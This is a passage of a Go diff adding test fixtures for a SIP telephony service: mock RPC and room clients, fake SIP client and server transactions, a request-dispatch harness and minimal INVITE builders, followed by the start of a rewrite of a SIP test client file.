0\r\na=rtpmap:0 PCMU/8000\r\n" + testSIPTxBuffer = 16 +) + +// MockIOInfoClient is a no-op implementation of rpc.IOInfoClient for testing +type MockIOInfoClient struct{} + +// Egress methods +func (m *MockIOInfoClient) CreateEgress(ctx context.Context, req *livekit.EgressInfo, opts ...psrpc.RequestOption) (*emptypb.Empty, error) { + return &emptypb.Empty{}, nil +} + +func (m *MockIOInfoClient) UpdateEgress(ctx context.Context, req *livekit.EgressInfo, opts ...psrpc.RequestOption) (*emptypb.Empty, error) { + return &emptypb.Empty{}, nil +} + +func (m *MockIOInfoClient) GetEgress(ctx context.Context, req *rpc.GetEgressRequest, opts ...psrpc.RequestOption) (*livekit.EgressInfo, error) { + return nil, errors.New("not implemented") +} + +func (m *MockIOInfoClient) ListEgress(ctx context.Context, req *livekit.ListEgressRequest, opts ...psrpc.RequestOption) (*livekit.ListEgressResponse, error) { + return nil, errors.New("not implemented") +} + +func (m *MockIOInfoClient) UpdateMetrics(ctx context.Context, req *rpc.UpdateMetricsRequest, opts ...psrpc.RequestOption) (*emptypb.Empty, error) { + return &emptypb.Empty{}, nil +} + +// Ingress methods +func (m *MockIOInfoClient) CreateIngress(ctx context.Context, req *livekit.IngressInfo, opts ...psrpc.RequestOption) (*emptypb.Empty, error) { + return &emptypb.Empty{}, nil +} + +func (m *MockIOInfoClient) GetIngressInfo(ctx context.Context, req *rpc.GetIngressInfoRequest, opts ...psrpc.RequestOption) (*rpc.GetIngressInfoResponse, error) { + return nil, errors.New("not implemented") +} + +func (m *MockIOInfoClient) UpdateIngressState(ctx context.Context, req *rpc.UpdateIngressStateRequest, opts ...psrpc.RequestOption) (*emptypb.Empty, error) { + return &emptypb.Empty{}, nil +} + +// SIP methods +func (m *MockIOInfoClient) GetSIPTrunkAuthentication(ctx context.Context, req *rpc.GetSIPTrunkAuthenticationRequest, opts ...psrpc.RequestOption) (*rpc.GetSIPTrunkAuthenticationResponse, error) { + return nil, errors.New("not implemented") +} + +func (m *MockIOInfoClient) EvaluateSIPDispatchRules(ctx context.Context, req *rpc.EvaluateSIPDispatchRulesRequest, opts ...psrpc.RequestOption) (*rpc.EvaluateSIPDispatchRulesResponse, error) { + return nil, errors.New("not implemented") +} + +func (m *MockIOInfoClient) UpdateSIPCallState(ctx context.Context, req *rpc.UpdateSIPCallStateRequest, opts ...psrpc.RequestOption) (*emptypb.Empty, error) { + return &emptypb.Empty{}, nil +} + +func (m *MockIOInfoClient) RecordCallContext(ctx context.Context, req *rpc.RecordCallContextRequest, opts ...psrpc.RequestOption) (*emptypb.Empty, error) { + return &emptypb.Empty{}, nil +} + +func (m *MockIOInfoClient) Close() { + // No-op for testing +} + +// testRoom is a mock Room implementation that skips actual LiveKit connection +type testRoom struct { + room *Room +} + +var _ RoomInterface = (*testRoom)(nil) + +type testRoomConfig struct { + ringForever bool +} + +func newTestRoomConfig(cfg *testRoomConfig) GetRoomFunc { + return func(log logger.Logger, st *RoomStats) RoomInterface { + return newTestRoomWithConfig(log, st, cfg) + } +} + +// newTestRoom creates a Room that skips actual LiveKit connection +func newTestRoomWithConfig(log logger.Logger, st *RoomStats, cfg *testRoomConfig) RoomInterface { + if cfg == nil { + cfg = &testRoomConfig{} + } + if st == nil { + st = &RoomStats{} + } + // Create a Room with all the necessary structure but skip connection + room := &Room{ + log: log, + stats: st, + outboundAudio: msdk.NewWriteCloserSwitch[msdk.PCM16Sample](RoomSampleRate), + outboundDTMF: msdk.NewWriteCloserSwitch[string](0), + subscribe: atomic.Bool{}, + } + room.inboundDTMF = inboundDTMFWriter{room} + + // Create mixer + var err error + room.mix, err = mixer.NewMixer(room.outboundAudio, rtp.DefFrameDur, 1, mixer.WithStats(&st.Mixer), mixer.WithOutputChannel()) + if err != nil { + panic(err) + } + + roomLog, resolve := log.WithDeferredValues() + room.roomLog = roomLog + + // Create a minimal lksdk.Room without connecting + sdkRoom := lksdk.NewRoom(nil) + room.room.Store(sdkRoom) + + // Set ready immediately (skip connection) + room.ready.Break() + if !cfg.ringForever { + room.subscribed.Break() + } + resolve.Resolve() + + sdkRoom.OnRoomUpdate(&livekit.Room{ // Set metadata, and specifically Sid + Name: "test-room", + Metadata: "test-metadata", + Sid: "test-room-sid", + NumParticipants: 1, + NumPublishers: 1, + }) + + // Set up minimal participant info + room.p.Store(&ParticipantInfo{ + ID: "test-participant-id", + RoomName: "test-room", + Identity: "test-participant", + Name: "Test Participant", + }) + + return &testRoom{room: room} +} + +// Connect overrides Room.Connect to skip actual LiveKit connection +func (r *testRoom) Connect(_ context.Context, conf *config.Config, rconf RoomConfig) error { + // Update participant info from config + partConf := rconf.Participant + r.room.p.Store(&ParticipantInfo{ + RoomName: rconf.RoomName, + Identity: partConf.Identity, + Name: partConf.Name, + }) + // Skip actual connection - room is already set up + return nil +} + +// All other methods delegate to the embedded Room +func (r *testRoom) Closed() <-chan struct{} { + return r.room.Closed() +} + +func (r *testRoom) ClosedReason() livekit.DisconnectReason { + return r.room.ClosedReason() +} + +func (r *testRoom) Subscribed() <-chan struct{} { + return r.room.Subscribed() +} + +func (r *testRoom) Room() *lksdk.Room { + return r.room.Room() +} + +func (r *testRoom) Subscribe() { + r.room.Subscribe() +} + +func (r *testRoom) WriteOutboundAudioTo(w msdk.PCM16Writer) msdk.PCM16Writer { + return r.room.WriteOutboundAudioTo(w) +} + +func (r *testRoom) WriteOutboundDTMFTo(w msdk.WriteCloser[string]) msdk.WriteCloser[string] { + return r.room.WriteOutboundDTMFTo(w) +} + +func (r *testRoom) GetInboundAudioWriter() (msdk.PCM16Writer, error) { + return r.NewParticipantTrack(RoomSampleRate) +} + +func (r *testRoom) GetInboundDTMFWriter() msdk.WriteCloser[string] { + return r.room.GetInboundDTMFWriter() +} + +func (r *testRoom) Close() error { + return r.room.Close() +} + +func (r *testRoom) CloseWithReason(reason livekit.DisconnectReason) error { + return r.room.CloseWithReason(reason) +} + +func (r *testRoom) Participant() ParticipantInfo { + return r.room.Participant() +} + +func (r *testRoom) NewParticipantTrack(sampleRate int) (msdk.WriteCloser[msdk.PCM16Sample], error) { + // For testing, we need to mock NewParticipantTrack since it requires a real LocalParticipant + // which we don't have in our mock lksdk.Room. Return a no-op writer. + return &noOpWriter{}, nil +} + +// noOpWriter is a no-op implementation of msdk.WriteCloser for testing +type noOpWriter struct{} + +func (w *noOpWriter) String() string { + return "noOpWriter" +} + +func (w *noOpWriter) SampleRate() int { + return RoomSampleRate +} + +func (w *noOpWriter) WriteSample(samples msdk.PCM16Sample) error { + // No-op for testing + return nil +} + +func (w *noOpWriter) Close() error { + return nil +} + +func (r *testRoom) NewTrack() *mixer.Input { + return r.room.NewTrack() +} + +func (r *testRoom) RegisterRpcCtxMethod(method string, handler lksdk.RpcHandlerCtxFunc) error { + return r.room.RegisterRpcCtxMethod(method, handler) +} + +type testSIPClientTransaction struct { + log logger.Logger + responses chan *sip.Response + cancels chan struct{} + done chan struct{} + err chan error +} + +func (t *testSIPClientTransaction) Terminate() { + t.log.Infow("Terminating transaction", "tx", fmt.Sprintf("%p", t)) + if t.responses != nil { + close(t.responses) + t.responses = nil + } + if t.cancels != nil { + close(t.cancels) + t.cancels = nil + } + if t.done != nil { + close(t.done) + t.done = nil + } + if t.err != nil { + close(t.err) + t.err = nil + } +} + +func (t *testSIPClientTransaction) Done() <-chan struct{} { + return t.done +} + +func (t *testSIPClientTransaction) Err() error { + if t.err == nil { + return nil + } + return <-t.err +} + +func (t *testSIPClientTransaction) Responses() <-chan *sip.Response { + return t.responses +} + +func (t *testSIPClientTransaction) Cancel() error { + select { + case t.cancels <- struct{}{}: + return nil + default: + return errors.New("cancel already sent") + } +} + +func (t *testSIPClientTransaction) SendResponse(resp *sip.Response) error { + t.log.Infow("SIP Response sent on transaction", "tx", fmt.Sprintf("%p", t), "response", resp.String()) + select { + case t.responses <- resp: + return nil + default: + return errors.New("failed to add response") + } +} + +type transactionRequest struct { + req *sip.Request + transaction *testSIPClientTransaction + sequence uint64 +} + +type sipRequest struct { + req *sip.Request + sequence uint64 +} + +// Creates a utility for testing SIP correctness without going out on the network, local or otherwise. +// This is useful to isolate transport and routing tests (handled by sipgo.Client) from SIP logic. +// +// Works by mocking SIPClient interface, and providing tests with channels to listen for messages on. +// An interface mirroring sipgo.Client to be able to mock it in tests. +type testSIPClient struct { + log logger.Logger + sequence atomic.Uint64 + + mu sync.Mutex + transactionByCallID map[string][]*transactionRequest + transactionBySipCallID map[string][]*transactionRequest + requestByCallID map[string][]*sipRequest + requestBySipCallID map[string][]*sipRequest + wakeup chan struct{} +} + +func (w *testSIPClient) FillRequestBlanks(req *sip.Request) { + if req.Via() == nil { + via := &sip.ViaHeader{ + ProtocolName: "SIP", + ProtocolVersion: "2.0", + Transport: req.Transport(), + Host: "127.0.0.1", + Port: 5060, + Params: sip.NewParams(), + } + if via.Transport == "" { + via.Transport = "UDP" + } + via.Params.Add("branch", sip.GenerateBranchN(16)) + req.PrependHeader(via) + } + if req.From() == nil { + req.AppendHeader(&sip.FromHeader{Address: sip.Uri{User: "caller", Host: "example.com"}}) + } + if req.From().Params == nil { + req.From().Params = sip.NewParams() + } + if _, ok := req.From().Params.Get("tag"); !ok { + req.From().Params.Add("tag", sip.GenerateTagN(16)) + } + if req.To() == nil { + req.AppendHeader(&sip.ToHeader{Address: sip.Uri{User: "callee", Host: "example.com"}}) + } + if req.To().Params == nil { + req.To().Params = sip.NewParams() + } + if req.CSeq() == nil { + req.AppendHeader(&sip.CSeqHeader{ + SeqNo: 1, + MethodName: req.Method, + }) + } + if req.CallID() == nil { + calid := sip.CallIDHeader("test-call-" + sip.GenerateTagN(16)) + req.AppendHeader(&calid) + } + if req.MaxForwards() == nil { + maxfwd := sip.MaxForwardsHeader(70) + req.AppendHeader(&maxfwd) + } +} + +func (w *testSIPClient) deliverTx(txReq *transactionRequest) { + w.mu.Lock() + defer w.mu.Unlock() + ch := w.wakeup + w.wakeup = make(chan struct{}) + defer close(ch) + form := txReq.req.From() + if form == nil { + panic("from header is required") + } + tag, ok := form.Params.Get("tag") + if !ok { + panic("tag is required") + } + sipCallID := txReq.req.CallID().Value() + w.transactionByCallID[tag] = append(w.transactionByCallID[tag], txReq) + w.transactionBySipCallID[sipCallID] = append(w.transactionBySipCallID[sipCallID], txReq) +} + +func (w *testSIPClient) deliverReq(req *sipRequest) { + w.mu.Lock() + defer w.mu.Unlock() + ch := w.wakeup + w.wakeup = make(chan struct{}) + defer close(ch) + form := req.req.From() + if form == nil { + panic("from header is required") + } + tag, ok := form.Params.Get("tag") + if !ok { + panic("tag is required") + } + sipCallID := req.req.CallID().Value() + w.requestByCallID[tag] = append(w.requestByCallID[tag], req) + w.requestBySipCallID[sipCallID] = append(w.requestBySipCallID[sipCallID], req) + +} + +func (w *testSIPClient) TransactionRequest(req *sip.Request, options ...sipgo.ClientRequestOption) (sip.ClientTransaction, error) { + if len(options) > 0 { + panic("options not supported for testSIPClient") + } + w.log.Infow("SIP TransactionRequest sent on client", "client", fmt.Sprintf("%p", w), "request", req.String()) + w.FillRequestBlanks(req) + sequence := w.sequence.Add(1) + tx := &testSIPClientTransaction{ + log: w.log, + responses: make(chan *sip.Response, testSIPTxBuffer), + cancels: make(chan struct{}), + done: make(chan struct{}), + err: make(chan error, 1), + } + txReq := &transactionRequest{ + sequence: sequence, + req: req, + transaction: tx, + } + w.deliverTx(txReq) + return tx, nil +} + +func (w *testSIPClient) WriteRequest(req *sip.Request, options ...sipgo.ClientRequestOption) error { + if len(options) > 0 { + panic("options not supported for testSIPClient") + } + w.log.Infow("SIP WriteRequest sent on client", "client", fmt.Sprintf("%p", w), "request", req.String()) + w.FillRequestBlanks(req) + sequence := w.sequence.Add(1) + reqReq := &sipRequest{ + sequence: sequence, + req: req, + } + w.deliverReq(reqReq) + return nil +} + +func (w *testSIPClient) removeTransactionLocked(txReqs []*transactionRequest) (*transactionRequest, bool) { + if len(txReqs) == 0 { + return nil, false + } + txReq := txReqs[0] + callID := txReq.req.From().Params.GetOr("tag", "") + sipCallID := txReq.req.CallID().Value() + byCallID := w.transactionByCallID[callID] + if len(byCallID) <= 0 { + panic("callID not found") + } else if txReq != byCallID[0] { + panic("unexpected transaction request") + } + w.transactionByCallID[callID] = byCallID[1:] + + bySipCallID := w.transactionBySipCallID[sipCallID] + if len(bySipCallID) <= 0 { + panic("sipCallID not found") + } else if txReq != bySipCallID[0] { + panic("unexpected transaction request") + } + w.transactionBySipCallID[sipCallID] = bySipCallID[1:] + return txReq, true +} + +func (w *testSIPClient) removeRequestLocked(reqs []*sipRequest) (*sipRequest, bool) { + if len(reqs) == 0 { + return nil, false + } + req := reqs[0] + callID := req.req.From().Params.GetOr("tag", "") + sipCallID := req.req.CallID().Value() + byCallID := w.requestByCallID[callID] + if len(byCallID) <= 0 { + panic("callID not found") + } else if req != byCallID[0] { + panic("unexpected transaction request") + } + if len(byCallID) == 1 { + delete(w.requestByCallID, callID) + } else { + w.requestByCallID[callID] = byCallID[1:] + } + + bySipCallID := w.requestBySipCallID[sipCallID] + if len(bySipCallID) <= 0 { + panic("sipCallID not found") + } else if req != bySipCallID[0] { + panic("unexpected transaction request") + } + if len(bySipCallID) == 1 { + delete(w.requestBySipCallID, sipCallID) + } else { + w.requestBySipCallID[sipCallID] = bySipCallID[1:] + } + return req, true +} + +func (w *testSIPClient) WaitTransactionTimeout(d time.Duration, callID string, sipCallID string) (*transactionRequest, error) { + if callID == "" && sipCallID == "" { + panic("callID or sipCallID is required") + } + timer := time.NewTimer(d) + defer timer.Stop() + for { + w.mu.Lock() + if w.wakeup == nil { + panic("test client not closed") + } + if callID != "" { + txReq, ok := w.removeTransactionLocked(w.transactionByCallID[callID]) + if ok { + w.mu.Unlock() + return txReq, nil + } + } + if sipCallID != "" { + txReq, ok := w.removeTransactionLocked(w.transactionBySipCallID[sipCallID]) + if ok { + w.mu.Unlock() + return txReq, nil + } + } + wakeup := w.wakeup + w.mu.Unlock() + + select { + case <-timer.C: + return nil, errors.New("timeout waiting for TransactionRequest") + case <-wakeup: + continue + } + } +} +func (w *testSIPClient) WaitRequestTimeout(d time.Duration, callID string, sipCallID string) (*sipRequest, error) { + if callID == "" && sipCallID == "" { + panic("callID or sipCallID is required") + } + timer := time.NewTimer(d) + defer timer.Stop() + for { + w.mu.Lock() + if w.wakeup == nil { + panic("test client not closed") + } + if callID != "" { + reqs, ok := w.removeRequestLocked(w.requestByCallID[callID]) + if ok { + w.mu.Unlock() + return reqs, nil + } + } + if sipCallID != "" { + reqs, ok := w.removeRequestLocked(w.requestBySipCallID[sipCallID]) + if ok { + w.mu.Unlock() + return reqs, nil + } + } + wakeup := w.wakeup + w.mu.Unlock() + + select { + case <-timer.C: + return nil, errors.New("timeout waiting for SIPRequest") + case <-wakeup: + continue + } + } +} + +func (w *testSIPClient) Close() error { + w.mu.Lock() + defer w.mu.Unlock() + if w.wakeup != nil { + close(w.wakeup) + w.wakeup = nil + } + return nil +} + +var ( + _ SIPClient = (*testSIPClient)(nil) + _ sip.ClientTransaction = (*testSIPClientTransaction)(nil) + _ sip.ServerTransaction = (*testSIPServerTransaction)(nil) +) + +// testSIPServerTransaction fakes sipgo's ServerTransaction so tests can inject +// requests into package handlers and observe Respond, without a sipgo Server. +type testSIPServerTransaction struct { + log logger.Logger + req *sip.Request + responses chan *sip.Response + acks chan *sip.Request + cancels chan *sip.Request + done chan struct{} + err chan error + terminateOnce sync.Once +} + +func (t *testSIPServerTransaction) Terminate() { + t.terminateOnce.Do(func() { + t.log.Infow("Terminating server transaction", "tx", fmt.Sprintf("%p", t)) + close(t.done) + }) +} + +func (t *testSIPServerTransaction) Done() <-chan struct{} { + return t.done +} + +func (t *testSIPServerTransaction) Err() error { + if t.err == nil { + return nil + } + return <-t.err +} + +func (t *testSIPServerTransaction) Respond(res *sip.Response) error { + t.log.Infow("SIP Respond on server transaction", "response", res.String()) + select { + case <-t.done: + return errors.New("transaction terminated") + case t.responses <- res: + return nil + } +} + +func (t *testSIPServerTransaction) Acks() <-chan *sip.Request { + return t.acks +} + +func (t *testSIPServerTransaction) Cancels() <-chan *sip.Request { + return t.cancels +} + +func (t *testSIPServerTransaction) SendAck(req *sip.Request) { + if req == nil { + req = sip.NewRequest(sip.ACK, sip.Uri{}) + } + select { + case <-t.done: + case t.acks <- req: + } +} + +func (t *testSIPServerTransaction) SendCancel(req *sip.Request) { + if req == nil { + req = sip.NewRequest(sip.CANCEL, sip.Uri{}) + } + select { + case <-t.done: + case t.cancels <- req: + } +} + +func (t *testSIPServerTransaction) WaitResponseTimeout(tb testing.TB, d time.Duration) *sip.Response { + tb.Helper() + select { + case res, ok := <-t.responses: + if !ok { + tb.Fatal("server transaction closed while waiting for response") + return nil + } + return res + case <-time.After(d): + tb.Fatalf("timeout waiting for SIP response after %s", d) + return nil + } +} + +// TestSIPConfig holds configuration for creating a testSIPHarness fixture. +type TestSIPConfig struct { + Region string // Defaults to "test" + Config *config.Config // Creates minimal config if nil + Monitor *stats.Monitor // Minimal monitor if nil + GetIOClient GetStateHandler // MockIOInfoClient if nil + GetRoom GetRoomFunc // newTestRoom if nil + Handler Handler // empty TestHandler if nil +} + +// testSIPHarness is a sipgo-less test fixture +// It allows testing orchestration logic without sipgo, and specifically +// without the need to work around certain peculiarities of the real thing +// Inbound requests are managed via testSIPServerTransaction +// Outbound requests are managed via testSIPClient +type testSIPHarness struct { + log logger.Logger + Client *Client + Server *Server + client *testSIPClient + clientCreated atomic.Bool +} + +// Wait for the package to send a SIP request to a remote endpoint +func (h *testSIPHarness) WaitTransaction(tb testing.TB, timeout time.Duration, callID string, sipCallID string) *transactionRequest { + tb.Helper() + res, err := h.client.WaitTransactionTimeout(timeout, callID, sipCallID) + if err != nil { + tb.Fatalf("error waiting for TransactionRequest: %v", err) + return nil + } + return res +} + +// Wait for the package to send a non-transaction SIP request to a remote endpoint +func (h *testSIPHarness) WaitRequest(tb testing.TB, timeout time.Duration, callID string, sipCallID string) *sipRequest { + tb.Helper() + res, err := h.client.WaitRequestTimeout(timeout, callID, sipCallID) + if err != nil { + tb.Fatalf("error waiting for Request: %v", err) + return nil + } + return res +} + +// Handle delivers req to the package as sipgo would: INVITE/ACK/BYE/NOTIFY/OPTIONS +// hit Server handlers, anything else falls through to Client.OnRequest then OnNoRoute. +// Dispatch runs in a goroutine because inbound Accept blocks until ACK. +func (h *testSIPHarness) Handle(req *sip.Request) *testSIPServerTransaction { + if req.Source() == "" { + req.SetSource(testSIPSource) + } + if req.Destination() == "" { + req.SetDestination(testSIPSource) + } + tx := &testSIPServerTransaction{ + log: h.log, + req: req, + responses: make(chan *sip.Response, testSIPTxBuffer), + acks: make(chan *sip.Request, testSIPTxBuffer), + cancels: make(chan *sip.Request, testSIPTxBuffer), + done: make(chan struct{}), + err: make(chan error, 1), + } + go h.dispatch(req, tx) + return tx +} + +func (h *testSIPHarness) dispatch(req *sip.Request, tx sip.ServerTransaction) { + log := slog.New(logger.ToSlogHandler(h.log)) + switch req.Method { + case sip.INVITE: + h.Server.onInvite(log, req, tx) + case sip.ACK: + h.Server.onAck(log, req, tx) + case sip.BYE: + h.Server.onBye(log, req, tx) + case sip.NOTIFY: + h.Server.onNotify(log, req, tx) + case sip.OPTIONS: + h.Server.onOptions(log, req, tx) + default: + if h.Client != nil && h.Client.OnRequest(req, tx) { + return + } + h.Server.OnNoRoute(log, req, tx) + } +} + +func (h *testSIPHarness) newClient(ua *sipgo.UserAgent, options ...sipgo.ClientOption) (SIPClient, error) { + if h.clientCreated.Swap(true) { + panic("client must only be created once") + } + return h.client, nil +} + +// NewTestSIP builds a test harness that replaces sipgo's client, server, and +// transport layers. sipgo's message and transaction types are still used. +// +// When package needs to be tested as the server, use Handle(). +// When testing package client behavior, use WaitTransaction() or WaitRequest(). +// +// NOTE: Most tests should use NewServiceTest. +// This utility and driver is only here for two edge cases: +// 1. Next-hop routing. If a message would be sent to a destination we cannot intercept. +// 2. Noncompliant messages & behavior sipgo will not send or accept. +func NewTestSIP(t testing.TB, cfg TestSIPConfig) *testSIPHarness { + t.Helper() + if cfg.Region == "" { + cfg.Region = "test" + } + log := logger.NewTestLogger(t) + if cfg.Config == nil { + localIP, err := config.GetLocalIP() + if err != nil { + t.Fatalf("failed to get local IP: %v", err) + } + cfg.Config = &config.Config{ + NodeID: "test-node", + SIPPort: 5060, + SIPPortListen: 5060, + ListenIP: localIP.String(), + LocalNet: localIP.String() + "/24", + RTPPort: rtcconfig.PortRange{Start: 20000, End: 30000}, + MaxCpuUtilization: 0.99, // Higher threshold for tests to avoid false positives + WsUrl: "ws://localhost:7880", + ApiKey: "test-api-key", + ApiSecret: "test-api-secret-extend-to-32-bytes-minimum", + } + } + if cfg.Monitor == nil { + var err error + cfg.Monitor, err = stats.NewMonitor(cfg.Config) + if err != nil { + t.Fatalf("failed to create monitor: %v", err) + } + // Start the monitor so it reports healthy status + if err := cfg.Monitor.Start(cfg.Config); err != nil { + t.Fatalf("failed to start monitor: %v", err) + } + // Wait for CPU stats to initialize and health check to pass + // The monitor samples CPU asynchronously, so we need to wait for the first sample + deadline := time.Now().Add(2 * time.Second) + for time.Now().Before(deadline) { + if cfg.Monitor.Health() == stats.HealthOK { + break + } + time.Sleep(50 * time.Millisecond) + } + t.Cleanup(func() { + cfg.Monitor.Stop() + }) + } + if cfg.GetIOClient == nil { + cfg.GetIOClient = func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { + return NewRPCStateHandler(&MockIOInfoClient{}) + } + } + if cfg.GetRoom == nil { + cfg.GetRoom = newTestRoomConfig(nil) + } + if cfg.Handler == nil { + cfg.Handler = &TestHandler{} + } + + h := &testSIPHarness{ + log: log, + client: &testSIPClient{ + log: log, + requestByCallID: make(map[string][]*sipRequest), + requestBySipCallID: make(map[string][]*sipRequest), + transactionByCallID: make(map[string][]*transactionRequest), + transactionBySipCallID: make(map[string][]*transactionRequest), + wakeup: make(chan struct{}), + }, + } + + client := NewClient(cfg.Region, cfg.Config, log, cfg.Monitor, cfg.GetIOClient, WithGetSipClient(h.newClient), WithGetRoomClient(cfg.GetRoom)) + client.SetHandler(cfg.Handler) + + // Set up service config with minimal values + localIP, err := config.GetLocalIP() + if err != nil { + t.Fatalf("failed to get local IP: %v", err) + } + sconf := &ServiceConfig{ + SignalingIP: localIP, + SignalingIPLocal: localIP, + MediaIP: localIP, + } + + err = client.Start(nil, sconf) // needed to set sconf + if err != nil { + t.Fatalf("failed to start client: %v", err) + } + t.Cleanup(func() { + client.Stop() + }) + + srv := NewServer(cfg.Region, cfg.Config, log, cfg.Monitor, cfg.GetIOClient, WithGetRoomServer(cfg.GetRoom), WithClient(client)) + srv.SetHandler(cfg.Handler) + srv.sconf = sconf + srv.sipUnhandled = client.OnRequest + t.Cleanup(srv.Stop) + + h.Client = client + h.Server = srv + return h +} + +// NewOutboundTestClient starts a Client with the sipgo-less mock. Prefer NewTestSIP +// when the test needs to wait on transactions or inject inbound requests. +func NewOutboundTestClient(t testing.TB, cfg TestSIPConfig) *Client { + return NewTestSIP(t, cfg).Client +} + +// MinimalCreateSIPParticipantRequest creates a minimal valid request for testing. +// All required fields are set to test values. +func MinimalCreateSIPParticipantRequest() *rpc.InternalCreateSIPParticipantRequest { + localIP, _ := config.GetLocalIP() + return &rpc.InternalCreateSIPParticipantRequest{ + CallTo: "+1234567890", + Address: "sip.example.com", + Number: "+0987654321", + Hostname: localIP.String(), + RoomName: guid.New(guid.RoomPrefix + "TEST_"), + ParticipantIdentity: "test-participant", + ParticipantName: "Test Participant", + SipCallId: guid.New(guid.SIPCallPrefix + "TEST_"), + Transport: livekit.SIPTransport_SIP_TRANSPORT_UDP, + WsUrl: "ws://localhost:7880", + Token: "test-token", + } +} + +// MinimalInviteRequest builds a UDP INVITE the inbound handlers will accept. +func MinimalInviteRequest() *sip.Request { + to := sip.Uri{User: "+1234567890", Host: "sip.example.com", Port: 5060} + from := sip.Uri{User: "+0987654321", Host: "127.0.0.1", Port: 5060} + req := sip.NewRequest(sip.INVITE, to) + fromH := &sip.FromHeader{Address: from, Params: sip.NewParams()} + fromH.Params.Add("tag", sip.GenerateTagN(16)) + req.AppendHeader(fromH) + req.AppendHeader(&sip.ToHeader{Address: to}) + req.AppendHeader(&sip.ContactHeader{Address: from}) + cid := sip.CallIDHeader("test-call-" + sip.GenerateTagN(16)) + req.AppendHeader(&cid) + req.AppendHeader(&sip.CSeqHeader{SeqNo: 1, MethodName: sip.INVITE}) + via := &sip.ViaHeader{ + ProtocolName: "SIP", + ProtocolVersion: "2.0", + Transport: "UDP", + Host: "127.0.0.1", + Port: 5060, + Params: sip.NewParams(), + } + via.Params.Add("branch", "z9hG4bK"+sip.GenerateTagN(16)) + req.AppendHeader(via) + maxfwd := sip.MaxForwardsHeader(70) + req.AppendHeader(&maxfwd) + req.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) + req.SetBody([]byte(testMinimalSDP)) + req.SetSource(testSIPSource) + req.SetDestination(testSIPSource) + return req +} diff --git a/pkg/siptest/client.go b/pkg/siptest/client.go index ac45b90ab..d332b03b1 100644 --- a/pkg/siptest/client.go +++ b/pkg/siptest/client.go @@ -1,805 +1,805 @@ -// Copyright 2023 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package siptest - -import ( - "context" - "encoding/binary" - "errors" - "fmt" - "io" - "log/slog" - "math" - "math/rand" - "net" - "net/netip" - "os" - "slices" - "strconv" - "sync/atomic" - "time" - - "github.com/at-wat/ebml-go" - "github.com/at-wat/ebml-go/webm" - "github.com/frostbyte73/core" - "github.com/icholy/digest" - "github.com/pion/sdp/v3" - - msdk "github.com/livekit/media-sdk" - "github.com/livekit/media-sdk/dtmf" - "github.com/livekit/media-sdk/g711" - "github.com/livekit/media-sdk/rtp" - lksdp "github.com/livekit/media-sdk/sdp" - webmm "github.com/livekit/media-sdk/webm" - "github.com/livekit/sipgo" - "github.com/livekit/sipgo/sip" - - "github.com/livekit/media-sdk/mixer" - "github.com/livekit/sip/pkg/audiotest" - "github.com/livekit/sip/pkg/config" - "github.com/livekit/sip/pkg/media/rtpconn" -) - -type ClientConfig struct { - IP netip.Addr - Port uint16 - Number string - AuthUser string - AuthPass string - Log *slog.Logger - OnBye func() - OnMediaTimeout func() - OnDTMF func(ev dtmf.Event) - OnRefer func(req *sip.Request) - Codec string -} - -func NewClient(id string, conf ClientConfig) (*Client, error) { - var err error - - if conf.Log == nil { - conf.Log = slog.Default() - } - if conf.OnMediaTimeout == nil { - conf.OnMediaTimeout = func() { - panic("media-timeout") - } - } - if id != "" { - conf.Log = conf.Log.With("id", id) - } - if !conf.IP.IsValid() { - localIP, err := config.GetLocalIP() - if err != nil { - return nil, err - } - conf.IP = localIP - conf.Log.Debug("setting local address", "ip", localIP) - } - if conf.Number == "" { - conf.Number = "1000" - } - if conf.Codec == "" { - conf.Codec = g711.ULawSDPNameAndRate - } - codec := lksdp.CodecByName(conf.Codec).(msdk.AudioCodec) - cli := &Client{ - id: id, - conf: conf, - ack: make(chan struct{}, 1), - log: conf.Log, - audioCodec: codec, - audioType: codec.Info().RTPDefType, - } - if !codec.Info().RTPIsStatic { - cli.audioType = 102 - } - cli.mediaConn = rtpconn.NewConn(&rtpconn.ConnConfig{TimeoutCallback: conf.OnMediaTimeout}) - cli.mediaConn.EnableTimeout(false) // enabled later - cli.media = rtp.NewSeqWriter(cli.mediaConn) - cli.mediaAudio = cli.media.NewStream(cli.audioType, codec.Info().RTPClockRate) - cli.mediaDTMF = cli.media.NewStream(101, dtmf.SampleRate) - cli.audioOut, err = mixer.NewMixer(rtp.EncodePCM(cli.mediaAudio, cli.audioCodec), rtp.DefFrameDur, 1, mixer.WithOutputChannel()) - if err != nil { - cli.Close() - return nil, err - } - - cli.setupRTPReceiver() - - err = cli.mediaConn.ListenAndServe(0, 0, "0.0.0.0") - if err != nil { - cli.Close() - return nil, err - } - conf.Log.Info("media address", "addr", cli.mediaConn.LocalAddr()) - - ua, err := sipgo.NewUA( - sipgo.WithUserAgent(conf.Number), - sipgo.WithUserAgentLogger(cli.log), - ) - if err != nil { - cli.Close() - return nil, err - } - cli.sipUA = ua - - cli.sipClient, err = sipgo.NewClient(ua, sipgo.WithClientHostname(conf.IP.String())) - if err != nil { - cli.Close() - return nil, err - } - - cli.sipServer, err = sipgo.NewServer(ua) - if err != nil { - cli.Close() - return nil, err - } - - cli.sipServer.OnBye(func(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { - _ = tx.Respond(sip.NewResponseFromRequest(req, 200, "OK", nil)) - tx.Terminate() - if conf.OnBye != nil { - conf.OnBye() - } - }) - cli.sipServer.OnAck(func(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { - select { - case cli.ack <- struct{}{}: - default: - } - }) - cli.sipServer.OnRefer(func(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { - if conf.OnRefer != nil { - conf.OnRefer(req) - } - - err = tx.Respond(sip.NewResponseFromRequest(req, 202, "Accepted", nil)) - tx.Terminate() - }) - l, err := net.ListenTCP("tcp4", &net.TCPAddr{Port: int(conf.Port)}) - if err != nil { - cli.Close() - return nil, err - } - // cli.conf.Port may be 0 if port was not specified, so we need to set it to the actual port. - cli.conf.Port = uint16(l.Addr().(*net.TCPAddr).Port) - cli.sipLis = l - - go 